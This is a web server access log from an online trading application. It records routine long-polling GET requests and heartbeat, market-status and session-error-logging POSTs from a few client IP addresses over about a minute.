[09/Jan/2026:12:04:19 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:04:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931728863 HTTP/1.1" -
[09/Jan/2026:12:04:19 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:04:20 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931729334 HTTP/1.1" -
[09/Jan/2026:12:04:21 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:04:21 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:04:21 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:04:21 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:04:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:04:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:04:23 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931732331 HTTP/1.1" -
[09/Jan/2026:12:04:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931732392 HTTP/1.1" -
[09/Jan/2026:12:04:23 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931732331 HTTP/1.1" -
[09/Jan/2026:12:04:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931731689 HTTP/1.1" -
[09/Jan/2026:12:04:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931733889 HTTP/1.1" -
[09/Jan/2026:12:04:24 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931733666 HTTP/1.1" -
[09/Jan/2026:12:04:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:04:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:04:26 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931735324 HTTP/1.1" -
[09/Jan/2026:12:04:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:04:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:04:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:04:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:04:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931737515 HTTP/1.1" -
[09/Jan/2026:12:04:29 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931736717 HTTP/1.1" -
[09/Jan/2026:12:04:29 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931738333 HTTP/1.1" -
[09/Jan/2026:12:04:29 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931738333 HTTP/1.1" -
[09/Jan/2026:12:04:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931738917 HTTP/1.1" -
[09/Jan/2026:12:04:30 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931738865 HTTP/1.1" -
[09/Jan/2026:12:04:32 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:04:32 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931741328 HTTP/1.1" -
[09/Jan/2026:12:04:32 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:04:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931742620 HTTP/1.1" -
[09/Jan/2026:12:04:34 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931741753 HTTP/1.1" -
[09/Jan/2026:12:04:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931743952 HTTP/1.1" -
[09/Jan/2026:12:04:35 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931744129 HTTP/1.1" -
[09/Jan/2026:12:04:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931744335 HTTP/1.1" -
[09/Jan/2026:12:04:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931744336 HTTP/1.1" -
[09/Jan/2026:12:04:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931747337 HTTP/1.1" -
[09/Jan/2026:12:04:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931747680 HTTP/1.1" -
[09/Jan/2026:12:04:39 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931746828 HTTP/1.1" -
[09/Jan/2026:12:04:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931748988 HTTP/1.1" -
[09/Jan/2026:12:04:40 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931749376 HTTP/1.1" -
[09/Jan/2026:12:04:41 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931750328 HTTP/1.1" -
[09/Jan/2026:12:04:41 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931750328 HTTP/1.1" -
[09/Jan/2026:12:04:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931752863 HTTP/1.1" -
[09/Jan/2026:12:04:44 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931751914 HTTP/1.1" -
[09/Jan/2026:12:04:44 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931753326 HTTP/1.1" -
[09/Jan/2026:12:04:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931754014 HTTP/1.1" -
[09/Jan/2026:12:04:45 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931754596 HTTP/1.1" -
[09/Jan/2026:12:04:47 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931756332 HTTP/1.1" -
[09/Jan/2026:12:04:47 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931756333 HTTP/1.1" -
[09/Jan/2026:12:04:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:04:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:04:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:04:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:04:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931757990 HTTP/1.1" -
[09/Jan/2026:12:04:49 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931756985 HTTP/1.1" -
[09/Jan/2026:12:04:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931759056 HTTP/1.1" -
[09/Jan/2026:12:04:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:04:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:04:50 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931759337 HTTP/1.1" -
[09/Jan/2026:12:04:50 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931759835 HTTP/1.1" -
[09/Jan/2026:12:04:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:04:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:04:53 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931762330 HTTP/1.1" -
[09/Jan/2026:12:04:53 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931762330 HTTP/1.1" -
[09/Jan/2026:12:04:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931763347 HTTP/1.1" -
[09/Jan/2026:12:04:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931762059 HTTP/1.1" -
[09/Jan/2026:12:04:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931764086 HTTP/1.1" -
[09/Jan/2026:12:04:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:04:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:04:56 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931764933 HTTP/1.1" -
[09/Jan/2026:12:04:56 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931765333 HTTP/1.1" -
[09/Jan/2026:12:04:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:04:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:04:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:04:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:04:59 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931768338 HTTP/1.1" -
[09/Jan/2026:12:04:59 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931768339 HTTP/1.1" -
[09/Jan/2026:12:04:59 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931767084 HTTP/1.1" -
[09/Jan/2026:12:04:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931768545 HTTP/1.1" -
[09/Jan/2026:12:04:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931769116 HTTP/1.1" -
[09/Jan/2026:12:05:01 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931770190 HTTP/1.1" -
[09/Jan/2026:12:05:02 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931771337 HTTP/1.1" -
[09/Jan/2026:12:05:02 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:05:02 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:05:04 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931772123 HTTP/1.1" -
[09/Jan/2026:12:05:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931773620 HTTP/1.1" -
[09/Jan/2026:12:05:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931774153 HTTP/1.1" -
[09/Jan/2026:12:05:05 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931774336 HTTP/1.1" -
